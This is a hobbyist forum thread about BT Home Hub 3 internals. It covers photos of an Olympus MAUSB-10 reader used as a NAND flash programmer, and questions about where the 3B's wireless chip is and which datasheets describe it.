(click for full size) (http://picturepush.com/public/9672462)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww5.picturepush.com%2Fphoto%2Fa%2F9673723%2F480%2Fhomehub3.0b%2Fmausb10-pcb.jpg&hash=714958a9e7541c1eb53de2e228c5b13d0e135f43)
Olympus MAUSB-10
(click for full size) (http://picturepush.com/public/9673723)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww4.picturepush.com%2Fphoto%2Fa%2F9676452%2F480%2Fhomehub3.0b%2FDSC-0885.1280.jpg&hash=08d4de71f55e9e3a1a1254171c397b56a3524ed0)
Olympus MAUSB-10
(click for full size) (http://picturepush.com/public/9676452)
The MAUSB-10 is based on the 'Alauda' NAND controller IC, believed to be from RATOC Systems of Japan.
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww5.picturepush.com%2Fphoto%2Fa%2F9676443%2F480%2Fhomehub3.0b%2FDSC-0881.1280.jpg&hash=aaf6121a8ebef157cd71605b0016b920a1431541)
RG85550 a.k.a Alauda' NAND controller
(click for full size) (http://picturepush.com/public/9676443)
Daniel Drake discovered that the Alauda IC supports raw access to the whole NAND page [2]. Allowing arbitrary data to be written to the main area and the spare (out of band) area used for ECC. Which makes it a much more useful NAND controller. Potentially putting it in the same category as a $2000 commercial NAND flash programmer. [3]
Daniel's Linux kernel device driver for the Alauda is broken today (and no longer maintained) but cory1492 has generously released his ported code that runs in userspace using the libusb library. It works well in both Linux and BillyGatesWare. [4]
Once this is working as intended (testing at the moment with another board) it can be documented properly.
cheers, a
[1] http://www.genesyslogic.com/manage/upfile/12021817731.pdf
[2] http://www.reactivated.net/weblog/archives/2005/08/alauda-mausb-10/
[3] http://www.xeltek.com/Nand-Flash-Programming/
[4] http://www.xboxhacker.org/index.php?topic=15596
-
Interesting thread. I were searching for circuit board photos that lead me to this thread.
I bought myself a cheap home hub 3 for my own reasons and may work better than the new versions. I have HH3 version B as everyone seems to believe this is better.
Anyway I were looking at a photo of the wireless chip but I can't see it at all on my version and seems I have a different motherboard. Mine says version.A but I dont believe it has anything to do with the revision A. Cant find the wireless chip on the board.
(https://gadgetcat.files.wordpress.com/2011/02/atheros_ar9227.jpg)
-
I'm assuming the photo you posted is an example of the wireless chip on a 3A, and not a photo from your own 3B.
The wireless chips will be different. For the 3B, according to the openwrt wiki (https://wiki.openwrt.org/toh/bt/homehub_v3b) it's integrated in the main Broadcom SoC.
-
Hi ejs. Yes it were an example from here. https://gadgetcat.wordpress.com/2011/02/19/home-hub-3-disassembly/
I must admit I thought it would be the same but didn't take any notice to start with, of what hub version this person were disassembling.
My hub says type B and have taken a quick photo of the main side to show you. As I can't see the wireless chip on it. Not unless I am not looking hard enough or for the wrong example, as above.
-
So anyone know where or what the wireless chip is then in this home hub v3 B? Hope the photo above is OK for you.
-
For the 3B, according to the openwrt wiki (https://wiki.openwrt.org/toh/bt/homehub_v3b) it's integrated in the main Broadcom SoC.
The SoC being the main chip, under the silver heatsink. There is no wireless chip as such, the wireless functions are within the main chip that also does lots of other things.
-
Does anyone have pdf from this link http://www.lantiq.com/uploads/tx_abzlantiqproducts/PB-e-0016-v1_lres.pdf TNX ?